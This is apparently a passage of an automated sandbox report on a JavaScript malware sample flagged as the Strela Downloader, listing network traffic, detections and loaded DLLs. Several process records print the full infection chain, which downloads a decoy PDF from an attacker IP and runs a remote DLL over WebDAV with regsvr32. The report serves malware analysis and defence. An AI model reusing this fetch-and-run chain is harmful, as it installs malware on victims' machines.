Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49732

Source: global traffic

TCP traffic: 192.168.2.6:49732 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.6:63868 -> 1.1.1.1:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.6:49711 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.2153446828.0000022571CC9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2229773265.000001E3B3498000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2229773265.000001E3B34EC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2229773265.000001E3B34CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2229773265.000001E3B34CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/5
Source: net.exe, 00000007.00000002.2229773265.000001E3B34CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/I
Source: net.exe, 00000007.00000002.2229773265.000001E3B3498000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/K
Source: net.exe, 00000007.00000002.2229773265.000001E3B34CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/m
Source: svchost.exe, 00000009.00000002.3427446013.0000027B2CA11000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acocfkfsx7alydpzevdxln7drwdq_117.0.5938.134/117.0.5
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 00000009.00000003.2242424703.0000027B2C900000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 5236, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\280701160228083.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\280701160228083.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 369248682699819312.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@28/57@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:64:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_iwpxqfox.vbj.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 369248682699819312.js

Virustotal: Detection: 10%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\369248682699819312.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\280701160228083.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2160 --field-trial-handle=1528,i,3184005239820778,4629316887729601009,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\280701160228083.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2160 --field-trial-handle=1528,i,3184005239820778,4629316887729601009,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
